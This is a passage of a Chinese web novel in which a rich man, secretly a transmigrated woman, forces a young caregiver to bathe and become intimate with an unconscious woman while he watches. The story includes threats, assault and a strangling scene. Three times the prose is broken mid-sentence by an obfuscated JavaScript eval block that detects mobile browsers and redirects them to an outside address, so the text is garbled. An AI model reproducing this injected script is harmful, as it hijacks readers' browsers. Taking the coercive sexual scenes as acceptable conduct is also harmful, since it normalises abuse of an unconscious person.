祝峥的活动区域在书架外。有床,但床上躺着姜陈;有小型衣帽间,但衣帽间里只摆了崭新的女装和首饰。 好在卫生间多了洗漱用具,男款的浴袍睡衣也挂了几件。祝峥洗了澡,翻出医药箱给自己上了药,再穿上面料柔软的睡衣,时间已经到晚上。 看看墙壁挂钟,再看看床上的病患。 滴答,滴答,指针走动的声音是一种焦虑的催促。 他走到床边。 现在房间里没有别人。只有他,以及没有醒来的她。 床头贴着纪卓亲笔写好的便利贴。 [定时查看尿袋情况,如需倒空,呼叫护士。] 照顾姜陈的不止祝峥一人。专业操作如打点滴、记录仪器数据等,都有更专业的人来做。 但他们并不住在客房里。而祝峥无权踏出这个房间。 [晚八点,温水清洁,更换衣物。翻身时注意尿袋高度,避免倒流感染。] 祝峥将视线挪开。他在床尾找到了那个半透明的袋子。指腹碰一碰,陌生而温热的触感几乎电到了手。 太奇怪了。 他紧紧捏着手指。 太怪了。他从没照顾过谁,仅有的经验应该追溯到小学五年级。那时候爸妈还没离婚,他给感冒发烧的妈煮了一锅焦糊且夹生的粥。 ——铮铮性子太急了,以后怎么照顾人呢? 当时的祝母笑着打趣他。 而现在,他在照顾名为姜陈的女孩子。 要准备好替换的睡衣,打来温度合适的热水。调整床的倾斜度,再将被子掀开,露出她的身体。 这些活儿还算简单。 但紧接着祝峥就遇到了麻烦。 温水清洁……先从哪里开始? 他看着她。姜尘偏瘦,穿的是前扣式的睡裙,胳膊和腿都露在外面。皮肤很白,像温暖的玉石,但骨架又很小,感觉一捏就会断。 祝峥下意识将自己的手腕放在她手边比了比。 肤色差实在鲜明,简直是烤焦了的蜂蜜撞到牛奶。 他有点不敢碰她。 不是因为怯懦与害羞。在过去的十八年,他一直昂着骄傲的头颅。意气风发,无所畏惧。哪怕因为这样那样的原因没有交过女朋友,他也不会表现得像个软弱的废物。 他只是…… 内心滋生了罪恶感。这种罪恶感如同毒火舔舐着心脏,烧空胃袋又钻进喉管。 脑子里嗡嗡作响,乱七八糟的念头反复涌现。 擦洗怎么做?从哪里开始才是对的? 他想用手机查一查,但现在没有手机。 失去了网上冲浪权限的祝峥沦为文盲。 内心斗争半晌,狠狠吐出一口滚烫的气息,毅然决然弯腰,捏住姜尘睡衣领口处的扣子。 一颗,两颗。 第三颗扣子的位置接近心脏。 祝峥记得,毕业之前,班里观看过古早恋爱日剧。产生的影响是,很多同学起哄,说什么要到对方的扣子就是两情相悦。于是掀起了索要纽扣的风潮。 他还未曾与谁两情相悦。 手指不太灵巧地解开纽扣时,指骨抵住了一片温热柔软的皮肤。 怦怦,怦怦。 沉睡之人的心跳,和自己的心音重叠在一起。 好热。 祝峥看了眼无知无觉的姜陈,别开脸,低声说对不起。 她身上还贴着监护仪的电极片。锁骨下方,胸脯下侧,以及腹部。他必须将大部分扣子解开,把睡裙摊开,再摘掉这些冰冷的电极片。 其实只要不乱想,不乱碰,也没什么的。 祝峥尝试说服自己,要端正态度,心无旁骛地做个护工。性别不重要,看身体也不重要,当然非礼勿视,能少看一眼是一眼…… 但有人推门进来了。 是姜尘。 “你在磨蹭什么?”姜尘问,“是等我手把手教你吗,小废物?” 祝峥的脊背立即僵硬了。 他条件反射般扯起衣襟掩住姜陈的胸脯,回过头来,对着门口的男人说话。 “请离开,病人需要隐私。” 说完便咬住了舌头,颊肉绷紧。 他知道自己很搞笑。哪来的权力对姜尘提要求。 姜尘没有揪着话头嘲笑祝峥,走到书架旁边,双臂环胸,脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498395|202611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋抵住冰凉的樱桃木。那双漂亮但阴郁的眼睛,毫无情绪地盯着祝峥的手。 “继续。”姜尘说,“别磨蹭,我耐心已经耗尽。” 祝峥知道姜尘不会走了。 他知道他不会走。 不详的预感彻底验证了,姜尘就是一个变态,披着人皮的禽兽。 挑中祝峥来“照顾”病患,其实是为了满足不可宣扬的私癖。 “如果你的手实在不听话,基础的照料都做不到,我也可以帮你。”姜尘缓慢说道,“帮你将它们一根根敲断,碾碎,磨成骨粉喂给你的亲人补钙。” 祝峥不想思考姜尘话里的“亲人”指的是谁。 人活在世上都有软肋。 所以他只能松开捏皱的衣襟,用颤抖的手指,将那些电极片拆除。再拧干毛巾,擦拭姜陈的胸脯与小腹。 最下边儿的扣子是没有解开的。勉强护住最后一丝隐私。 床头的监护仪很安静。姜尘看了会儿屏幕,又将视线转回来。 导联线已经断开,必须要等祝峥做完清洁工作,把电极片重新贴好,才能判断姜陈的身体是否有起色。 姜尘静静地站着等待。 注视着祝峥,注视着姜陈。 一开始选定这间客房来安顿姜陈,不仅是因为环境舒适,和主卧在同一层。还因为它长期闲置,没有监控。 祝峥来了以后,姜尘其实动了安装设备的心思。这样一来,哪怕自己不亲自到这里,也能掌握房内的所有动静。 让一个陌生异性来照顾姜陈是很危险的。尤其这个异性正处于最冲动的年纪,一无所有,命在旦夕。 但想来想去,姜尘还是决定给祝峥和姜陈留一些独处的时间。 过于紧绷的环境不利于互动。 适当的余裕,更有助于二人培养感情。 对,感情。 姜尘可不希望祝峥做个简单粗暴的工具。这对姜陈而言有些委屈。 他不希望自己受委屈。 过往的人生中,未来的剧情里,她受的委屈太多太多了。 姜尘挑人,是按照审美,按照曾经对恋爱的憧憬,以及某种幻想的喜好类型。祝峥除了学习成绩一般,其他都很不错。 而且,看吧,就算给了独处的时间,祝峥也对姜陈产生了愧疚。 这是基于人性道德而生的愧疚。 和调查资料一样,祝峥虽然骄傲,不太会和人打交道,但品性没有大问题。不够高智反而成了优点,便于姜尘拿捏控制。 天知地知,姜尘其实没多少欺负人的手段。 毕竟他自己,本来也只是个青春年华美少女,没多少人生阅历啊! 唉。 姜尘郁闷地揉了下眉心。 他又有些想念自己原本的身体了。 用旁观者的视角站在这里,感觉好怪。 “全脱掉。”他冷冷催促着动作生疏的祝峥,“你今天没要一本护理手册学习吗?” 祝峥攥着毛巾,呼吸窒住。 但姜陈已经大步走过去,握住祝峥的手腕,强行拉拽。原本卡在姜陈胯骨处的最后一枚扣子,脆弱崩飞。 她终于变得毫无遮蔽了。 像被人钉死的蝴蝶,圣画里刚出壳的稚子,全然脆弱地躺在祝峥面前。 祝峥眼球震颤。呼吸滚热。脊背渗满了汗。他听见自己牙齿咯咯作响的声音,而姜尘贴在身后,如一只可怕的恶魔,钳住他的手,对他低语。 “导尿部位最需要清洁。祝同学,开始吧。” 5. 照顾day2 有一年暑假,祝峥去亲戚家的养殖池塘开珍珠。 珍珠藏在蚌里。要用拇指按住,来回挤压。 他很不喜欢那种潮湿绵软的手感。 附着在指腹,紧紧吸着,难以摆脱。 “祝同学。” 姜尘的嗓音适时响起,带一点微不足道的耐心,又含着苛刻的挑剔,“毛巾容易变冷,你擦太久了。” 祝峥回过神来,用力眨了眨湿热的眼。 他的伤口已经处理过,眉骨贴了创可贴。现在挂在睫毛上的,应该是汗。 右手完全僵麻。将毛巾泡在水盆里,重新拧干,都需要力气。 偏偏姜尘还坐在旁边嘲讽。 “投标枪的体育生,就这。” 祝峥闷不吭声。 怼是不能怼的,只能在心底无能狂怒。 最终,他有惊无险地完成了替姜陈擦身的工作,而姜尘基本没掺和。就目不转睛地看。 给病患穿衣服穿错好几次,这人都没出手帮忙。 这让祝峥越发肯定自己的猜测。 姜尘就是个人模狗样的变态。 说不定,跟以前的太监似的,得靠看戏才能获得满足。 呸! 他在心里骂得热火朝天,表面依旧是隐忍不发的酷哥。 将电极片重新贴好,再次启动监护仪。重新亮起的线条祝峥也看不懂,只觉得提示音好像变得吵闹了点儿。 姜尘盯视监护仪的时间更久。久到祝峥以为又要发难。 “算了,今天就这样。” 姜尘起身,替姜陈盖好被子,俯身亲吻她的额头。 如果祝峥不在这里,这应该是个很温馨美好的画面。 毕竟姜尘实在英俊。或许是服装加成,他举手投足都有种英伦风的优雅感。印在额头的吻,也显得格外纯洁。 “晚安。”说完,姜尘看向祝峥,“明天她想换印着快乐小狗的睡裙,你要记住。” 祝峥觉得很离谱。 那能是姜陈想换的睡裙吗?分明就是你这变态的想法。 他哪里知道姜尘就是姜陈。 姜尘是真喜欢各种花里胡哨的可爱穿着。就像拍照片,一定要把所有的滤镜特效都加上,才觉得满意。 审美这玩意儿如果需要考试,姜尘一定连年补考。 好在现在姜尘成了霸道阴郁风的大佬,衣帽间一水儿的定制礼服西装,名表和腰带有上百种款式。整个别墅的装修更是大手笔,连普普通通的一把椅子都是范思哲出品。 条件所限,哪怕姜尘胡穿乱穿,都不会崩人设。 但还是休闲睡衣比较舒服。姜尘在心里叹了口气,他得回去换睡衣,然后给火腿梳毛。 火腿是姜陈养的猫。纪卓把姜陈带回来的时候,很贴心地把猫也打包装好。现在,姜尘主卧旁边多了个猫房,专供火腿打滚撒欢。 姜尘走了。 坐在床边的祝峥听见房门闭合的声音,瞬间被抽了脊梁骨,垂着脑袋弯着腰,双手按住脸,深深呼吸。 “对不起。” 他对姜陈说,“对不起。” 沉睡的少女没有任何反应。房间内只有仪器的滴滴声。 …… 夜里,疲累的祝峥蜷缩在地上睡觉。 是的,这个怎么看怎么有钱的别墅,居然没有给他安排一张床,或一个休憩的隔间。 洗手间和衣帽间的地板太冰冷,唯独卧室铺了地毯。书架后面倒是摆着个特别舒服的沙发,但那是姜尘的区域,祝峥不能去。 他也懒得去,显得有多稀罕似的。 所以他就躺在地毯上,在病床旁边。睁眼就能看见姜陈垂在床沿的手指,闭目也能听见仪器的动静。人生遭逢大变故的这一天实在热闹,睁眼闭眼睡不着,好不容易意识模糊了,推着小车的护士进来打点滴。 天亮了。 祝峥只能爬起来应对。 护士态度很好,对祝峥嘱咐了很多注意事项。比如要时刻观察病人的气色,如果嘴唇干,就蘸棉签润一润。手脚胳膊腿儿需要定期按摩,以免肌肉萎缩。翻身也很重要,至少两个小时一次。 祝峥想打听姜陈的情况,护士连忙摆手,说自己什么也不知道。 行吧。 他记住了所有的事项,但全都施行还有些困难,只能从最简单的做起。 给姜尘的嘴唇补水。等点滴结束,把被子掀开,从脚尖开始向上按摩。 按摩并不是一件难事。 作为一名成绩优秀的体育生,祝峥虽然读书读得不大明白,体育专业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498396|202611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知识还是很懂的。 他握住姜陈的脚踝。右手拇指按压脚底,缓缓向上推。然后转圈。 脚部按摩做完,接着就是膝盖。 祝峥抿住唇角。 他起身屈膝跪在床上,一只手按住姜陈大腿。偏凉的柔滑触感,几乎从指缝溢出来。 祝峥不敢细看。 他扭头,托住她的小腿,向上抬起,然后放平。重复动作。 因为姿势的关系,姜陈的膝盖几乎撞到了祝峥的胃。力道不重,但让他觉得,他正在和她变得熟悉。 这时候姜尘又进来了。 祝峥下意识停住动作,但姜尘什么都没说,淡淡看了一眼,就拐到书架后面的区域看书。真皮沙发下陷的动静很清晰。 祝峥沉默着走了会儿神,不带感情的嗓音立即飘来。 “继续。” 祝峥只好磨磨牙槽,继续按摩。 现在正进行到最关键的步骤。 他将姜陈的腿放平,双手拢住膝盖。掌心紧紧贴着肌肤,向上挤压。姜陈的身体显然没经过多少锻炼,很软,皮肤也很薄,没几下就刮出了红痕。 祝峥看了看自己长了茧子的手掌。 这是握标枪留下的痕迹。 以前他为此骄傲,如今却觉得,茧子太厚也不好。她可能会疼。 书架那边传来走动的声响。姜尘应当从酒柜里取了酒,拔出木塞,倒进酒杯。馥郁醇厚的香气随即满溢整个房间。 他倒是有闲心品酒。 祝峥恨恨地想着,侧身搂住姜陈的腰,尝试将人翻面。 姜陈的身躯像一匹柔滑的绢布,并不容易抓稳。祝峥又有些不自在,手忙脚乱折腾一通,也不知怎的,就把人抱进了怀里。 失力的脑袋撞过来,两瓣略显干燥但仍然柔软的唇,就这么蹭过了祝峥的嘴角。 他的心跳又快了。 与之同生的,是无地自容的羞耻感。 但很快,这种羞耻感被更强烈的愤怒和寒意所掩盖。 因为,他越过姜陈的肩膀,看见了不远处的书架。艳丽的樱桃木架子间,藏着一双明明灭灭的眼。 ——姜尘在看他们。 “继续。”恶魔发话了,“我很喜欢仪器现在的提示音,像在演奏天鹅舞曲。” 6. 照顾day3 继续什么? 给姜陈翻身,还是……别的? 祝峥真的不想往任何邪门的方向理解,他放弃思考,把人放好。 姜陈有一头棕色的长发。可能是营养不良,或疏于保养,显得有些黯淡干燥。因为翻身的动作,很多发丝被压住,窝在脖子里,看着很不舒服。 所以他又托起她的脑袋,把那些凌乱的发丝梳顺。 姜陈又开口了。 “你知道我指的不是这个。” “我不懂你要我怎么做。”祝峥随即回应,他现在成了处于应激状态的刺猬,“如果你觉得我做得不好,就自己亲自照顾。听说你们是一对,你照顾她肯定比任何护工都尽心,对吧?” 姜尘从书架后面走了出来。 一直走到祝峥面前,抬起手。 有一瞬间祝峥怀疑姜尘要从哪里抽出家伙打人。他甚至做好了应对的准备。 但姜尘只用力拍了几下他的头顶。 “我当然比任何人都要尽心。”姜尘说,“因为我比世上任何人都更爱她。” 是吗? 祝峥不信。 “爱”这样的字眼,从姜尘嘴里吐出来,简直是一种污染。 不管怎样,今天的难关又度过了。姜尘没有再为难祝峥,也没有继续停留在客房里,而是若有所思地出去了。 之后的时间,祝峥可以做足准备,摆平心态,慢慢适应自己的护工新身份。 对,护工。 他才不管这家的主人有什么怪癖,只要自己心态正,做事也正直,现在的局势就不会伤害到任何人。 不过,为什么姜尘要刻意提到监护仪的提示音呢? …… 姜尘经过走廊,捞起沿途碰瓷摔倒的火腿。 纪卓跟上来:“先生今天没待多久,姜小姐病情有好转吗?有没有我能帮得上忙的地方?” 姜尘抱着沉甸甸的猫,瞥了一眼纪卓,差点儿口吐芬芳。 你能帮个屁。丢人玩意儿,自打在客房摔了一跤,就戴上了手套,日常活动离客房八万里。 怎么的,还敢嫌弃姜陈? “看好祝峥,别伤害到病人就好。”姜尘咽下辱骂,“每天该做的护理工作一样也别落下。偷工减料就弄死他。” 这当然只是恐吓。 至于听到的人会不会当真就是另一码事了。毕竟限制文里强取豪夺的男主都是法制咖,根本没有道理可讲,连世界观也为他们服务。 姜尘回到主卧,把门关上。 陪着火腿玩了一会儿,洗手换衣,瘫在小客厅的沙发里。 其实,除了督促祝峥照顾姜陈,姜尘还有很多事要做。比如持续熟悉环境,加深人设理解。比如尝试离开别墅。比如给姜陈开银行账户,办理信托。再比如在书房里读那些根本看不懂的合同文件,听纪卓讲一堆艰涩的金融黑话,再在一些文件签字。 签字并不是件容易的事。要和原来的姜尘字迹相同,所以他私下里花了很多时间练习模仿。 除此之外,还要叮嘱纪卓关注外界异常情况,以免真正的“姜尘”藏在某具躯壳里杀个回马枪。 哪怕直觉反复告诉自己,世上并没有“姜尘”的意识存在,他也要提高警惕。 至于祝峥。 “太慢了……”姜尘将脑袋搁在椅背,仰面望着天花板吊灯,喃喃自语,“进度太慢了。他为什么不能直接亲她?” 这真是一句不讲理的责难。 他自己也知道不讲理。 谁让他挑中了祝峥。祝峥不够坏,也不够孬,面对突破底线的命令,当然会反抗。即便这反抗微弱得可笑,也还是反抗。 “要耐心。” 姜尘对自己说。 “要施与耐心。一切都会好起来的,只是时间长短而已。” 就在这晚,姜尘躺在尚且陌生的豪华大床上,做了个梦。 梦里,他又变回了女版的自己,在炎炎烈日下拖着沉重的行李箱走进大学。太累了,太渴了,身上全是臭汗,眼睛看什么都发黑。 所以她撞到了路上行驶的豪车。 校内道路行驶速度并不快,她的行为看起来更像碰瓷。尤其是撞车之后,因为中暑而晕倒。 驾车的富少无法按时外出约会,自然将不满都倾泻在她身上。开学第一次院系联谊,故意用大冒险欺负她出丑。 梦里的她喝了很多酒。站在光影迷离的KTV里,摇摇晃晃,满脸通红。酒水泼湿了胸前的布料。周围全是嬉笑声,嘲笑她故意吸引富少注意,捞也捞不明白。散场时,又没人送送她,只有富少的朋友扶住了她的腰。 从此往后就全是糊涂的清醒的欢愉与羞辱。 认识这个人,逃离那个人,辗转流离沉沦爱欲。没有自由,无人倾听。 没有,没有,没有人真正听她的想法和声音。 梦境画面如同浮光掠影,又如书页哗啦啦翻过去,停在某个时间点不动了。 她发觉自己坐在黑暗里。熟悉却陌生的低沉嗓音从头顶落下:“陈陈?” 她抬头,透过鸟笼似的条条阴影,望见外面男人英俊模糊的面庞。 他俯视着她,问:“你喜不喜欢我给你准备的新家?” 姜尘睁眼,猛地从床上坐了起来。拖鞋也顾不上穿,直奔浴室,对着镜子看自己的脸。 这是噩梦里最后见到的脸。 看着看着,突然抓起洗手池边缘的摆件,砸向镜面。 砰! 镜子蔓延开层层叠叠的蜘蛛网纹路。男人的脸也被切割成无数碎片。 “我不要……” 姜尘说话时有种想吐的冲动,“我不要接受这样的人生。” 他要让自己醒来。 他要回到原本的身体里去。 要离开这座别墅,去往剧情没有提到的地方,获得真正的自由。要让梦里可怜的自己,过上另一种人生。 姜尘的脑袋很疼。眼球热得像发烧,喉咙里堵着一口气。胃里感觉很恶心,很不舒服,想发疯,大吼大叫,想把房子点了一把火烧个干净。 他冲向二楼客房。 天还没亮,祝峥还在睡觉。姜尘也没开灯,直接将人拎起来,摁到枕头边。 祝峥的嘴唇差一点就贴到姜陈耳垂。 “怎么了?”祝峥强忍火气,“还没到护士打点滴的时间,你想让我做什么?” 姜尘言简意赅:“脱。脱光了爬上去,剩下的不用我教你。” 祝峥的身体一寸寸僵住,肌肉紧绷隆起。 而后,挤出厌恶的声音。 “我不。你这个变态,你不能……” 话没说完,姜尘捏住祝峥的脖子,把人往墙上撞。他其实不会打架,有赖于这具身躯的力量,将祝峥撞得头痛欲呕。然而下一刻,祝峥挟住他的手臂,狠命向后肘击,又稳又准地打在胃部。 姜尘险些吐酸水。 操,男高男大这阶段真是使不完的牛劲。 “我为什么不能?”姜尘问,“你来的第一天,我就说得明明白白,让你全心全意地爱她,把自己奉献给她。” 祝峥冷笑:“是奉献给你吧,你这个阳○的绿○癖!喜欢真人秀怎么不去电视台报名?” “你可真欠收拾。”姜尘捏紧拳头,给祝峥下巴重重来了一下,“刚过一两天就敢龇牙咧嘴,养着有什么用?” 祝峥的眼睛都是红的。 他不想遂姜尘的意愿,对姜陈做禽兽不如的事。他只想做个规规矩矩的护工。他为什么不可以只做个护工? 刚刚成年却涉世未深的祝峥,即便一朝坠落地狱,也还保留着天真的希望。 现在姜尘亲手打碎了这希望。 祝峥来不及考虑反抗的后果,也不想考虑。他不能听从姜尘的命令,他不能那样做。 绝望之中,他握住了床上病患的脖颈。 “你再逼我,我就!”祝峥吞咽着颤抖的气息,“我就掐死她!” 姜尘不动了。 站直,站好,扯扯嘴角:“行,你动手。我很想见识见识祝同学的勇气。” 祝峥根本下不了手。 如果能下手,就不会拒绝姜尘的要求。 “干什么干什么?怎么了?” 纪管家匆匆忙忙闻声而至,啪地开了灯。被眼前景象吓一大跳。 要命,怎么又是这个场面? 之前是姜尘掐姜陈的脖子,现在是祝峥。 究竟有没有人为姜小姐发声! “我要他和姜陈睡觉。”姜尘直言不讳,看向纪卓,“纪管家,这狗崽子听不懂我的话,该怎么处理?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498397|202611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纪卓觉得头有点儿疼。 “总之,先放开姜小姐,如何?” “不行。”出声的人竟然是姜尘,“就让他握着呗,监护仪的数据还能好看点儿。反正他也掐不下去,对不对?真有气性的话,来这里的第一天就该拒绝我。拼个鱼死网破,或者恳求用另一种方式给我卖命。祝同学拒绝也拒绝得不利落,做事又想讲良心,凭什么?凭你是受苦受难玛利亚再世?” 纪卓都不知道姜尘能讲这么长一段损人的话。 看看,把祝峥都气得翻白眼了。 “姜先生不在乎我做畜生,也要想想姜陈。”祝峥的手松松搁在姜陈咽喉间,仿佛能感受到呼吸,“据管家说,姜先生与她是恋人。她能接受你这么对待吗?在毫无知觉的状态下,让一个陌生人对她……那样,而且你还要当面观赏。” 姜尘按住疼痛的额头。噩梦画面反复闪现。 “我不在现场,怎么知道监护仪的数据变化?” 祝峥:“这和监护仪什么关系……” “等等。”纪卓抬手制止,异常严肃地看向姜尘,“先生,您的意思是,如果他俩亲密接触,您更关注生命监护仪的数据,对吗?” 姜尘点头。 纪卓陷入头脑风暴。 ——摔在姜陈身上的那夜,姜尘的表现。把祝峥安排进来,签订的各种条约。 种种迹象表明,姜尘要别人触碰姜陈,从而观察数据变化。 虽然不晓得前后联系是什么,有什么医学道理,总之先顺着雇主。 “我明白了。”纪管家舒了口气,扶起眼镜,“先生,监护仪是可以安装分机的,也能够在手机下载APP远程查看实时变化。您不需要专门到这里来盯着他们。” 姜尘:“……” 不是,有这功能你早说啊? “请交给我吧。”纪卓露出专业微笑,“先生回去休息,我会处理好一切。” 彳亍。 被迫冷静下来的姜尘阴着一张脸走出房间。 还剩个浑身警惕正在炸毛的祝峥,惊疑不定地瞪着纪卓。 纪卓靠近。 在祝峥摆出防御姿势的瞬间,他咬住自己的指尖,将手套扯下来。然后垂眸打量着沉睡的姜陈,镜片后的丹凤眼浮起浅淡疑惑。 祝峥问:“你要做什么?” 纪卓没有搭理他。 只是试探性地握住了姜陈的手,修长手指插入指缝,亲密紧扣。 滴。 屏幕线条微弱地起伏了下。 纪卓抬眸,盯着屏幕。也许是出于某种猜测,他半跪在地,俯首亲吻姜陈的手心。偏薄的嘴唇轻轻磨蹭着,湿热的气息萦绕不消。 滴滴。滴。 屏幕又有了更明显的变化。 “竟然真是这样。”纪卓饱含困惑地自语,“上次太乱了没注意,怎么会这样。” 说完,松开姜陈的手站起来,恢复成冷淡得体的模样。 “先生很爱、很痴迷姜小姐。”他对祝峥说话,“我现在能理解他的行为了。也希望你能更好地配合他,听从他。” 祝峥太阳穴突突地跳。 他抹了把脸,用自己汗湿的手。 “先生认为,你与姜小姐亲密接触,能够让她的身体好转。”纪卓指了指监护仪,“他心情不好,我建议你务必尽快按着他的要求来。这应该不难,我可以保证,全程没有人观赏。” 祝峥有种拳头挥进棉花的无力荒谬感。 他按着自己的半张脸,睁着浅色的瞳孔,骂了句傻X。 “你们这儿的人,是不是脑子都有问题?” 纪卓笑容不改:“先生想要的,就一定会得到。趁着他态度还好的时候,请你听话一点。否则,我不能保证先生是否会更换新的人选。比你更优秀,更懂事……” 剩余的话,就不说了。 纪卓言尽于此,潇洒退场。 房内陷入难言死寂。 祝峥像失去了吊线的木偶,缓缓滑落在地。垂着脑袋,想了很久。 “这里的人都是疯子。” 他碰了碰姜陈的指尖,“你也这样觉得吧?” 姜陈无法回应祝峥的问话。 “对不起。” 他第无数次道歉,“如果你以后能醒来,一定不要放过我。”